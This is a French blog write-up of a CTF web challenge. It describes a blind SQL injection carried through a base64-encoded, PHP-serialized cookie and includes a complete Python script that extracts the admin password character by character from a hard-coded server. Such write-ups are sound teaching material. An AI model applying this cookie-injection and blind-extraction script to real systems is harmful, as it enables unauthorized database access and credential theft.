jeudi 1 août 2019

WRITEUP MCTF3 FINAL WEB100 JACKERS ENGINE


# MCTF3 FINAL WEB100 JACKERS ENGINE
# BRAHIMI ZAKARIA
# FROM SUDO_ROOT
# GREETZ TO THE CTF ORGANISERS AKA TH3J4CK3RS

L’application web inclue un simple formulaire avec un seul input. En passant des lettres dans cet input l’application web renvoi un nom d’utilisateur si toutefois les caractères entrés sont compris dans celui-ci. Cela signifie probablement que notre point d’injection se trouve après un LIKE au sein d’une requête SQL. On pourra déjà cerner à travers ce système qu’un utilisateur ‘admin’ est existant.
Par ailleurs, on remarquera l’existence d’un fichier robots.txt à la racine du site-web contenant des entrées qui ressemble à quelque chose comme ‘deny /assets/*.db’. Cela ne vous avancera pas à grands chose excepté l’extension ‘.db’ qui peut être considérée comme un indice signifiant qu’il vous faudra taper dans la base de données au moyen des injections SQL.
Surprise, l’input a bien l’air de filtrer les signes de ponctuation permettant de réaliser notre injection SQL justement. Après quelques tentatives de bypass, on remarquera que le champs POST est bien filtré.
Petite réflexion. A l’ouverture du site web avant même de passer notre input, on remarquera que le nom d’utilisateur ‘jack’ est retourné. Pas si étrange que ça, si on s’aperçoit qu’un cookie est créé dès le départ portant le même nom que l’input du form, à savoir ‘q’.
Celui-ci est considéré uniquement en l’absence du paramètre POST ‘q’. Néanmoins, celui-ci passe par une sérialisation et se manifeste sous une forme littérale encodée en base64.
En décodant ce dernier, on obtient 2 paramètres : un paramètre ‘q’ et un paramètre ‘limit’. Le limit ne semple pas sensible aux injections SQL. Par contre le paramètre ‘q’ ne semble pas filtré et nous permettra par conséquent de réaliser notre injection SQL. Une fois notre injection insérée, il faudra modifier le cookie en conséquence pour que celui-ci soit sous la bonne forme afin que la désérialisation puisse fonctionner correctement. Sa valeur par défaut vaut le caractère ‘J’ en hexadécimal ; c’est pourquoi le nom d’utilisateur ‘jack’ de base.
Cela dit, on a plutôt affaire à une injection SQL à l’aveugle. De ce fait, nous allons tout simplement récupérer la longueur du mot de passe de l’utilisateur ‘admin’ puis la valeur de son mot de passe (qui ne peut être que le flag) caractère par caractère.  
Le script permettant de réaliser cela est le suivant :


import requests
import re
import base64

trouve=0
longueur=0

while (trouve==0): 
    payload = "admin\' and length(password)="+str(longueur)+"-- -"
    payload2 = 'a:2:{s:1:"q";s:'+str(len(payload))+':"'+payload+'";s:5:"limit";s:1:"1";}'
    payload3 = base64.b64encode(payload2)
    cookies = {'q': payload3}
    resultat=requests.post('http://52.59.5.86/jengine/',cookies=cookies).content
    res=re.search("admin",resultat)
    if res is not None:
             trouve=1
    else:
             longueur+=1


print "The password length is " + str(longueur)


trouve=0
length=1
caractere=32
final_pass=""

while(trouve==0):
    payload = "admin' and substr(password,"+str(length)+",1)='"+str(chr(caractere))+"'-- -"
    payload2 = 'a:2:{s:1:"q";s:'+str(len(payload))+':"'+payload+'";s:5:"limit";s:1:"1";}'  
    payload3 = base64.b64encode(payload2)
    cookies = {'q': payload3}
    resultat=requests.post('http://52.59.5.86/jengine/',cookies=cookies).content
    res=re.search("admin",resultat)
    if res is not None:
        if (length!=longueur):
                    final_pass+=chr(caractere)
                    length+=1
                    caractere=32
        else:
                    final_pass+=chr(caractere)
                    trouve=1
    else:
             caractere+=1

print ("Le flag est : %s " % final_pass)

Comme prévu, en très peu de temps le script nous renvoi la longueur du mot de passe de l’admin ainsi que sa valeur qui est bien le flag de validation du challenge. La figure suivante en est la preuve :




Aucun commentaire:

Enregistrer un commentaire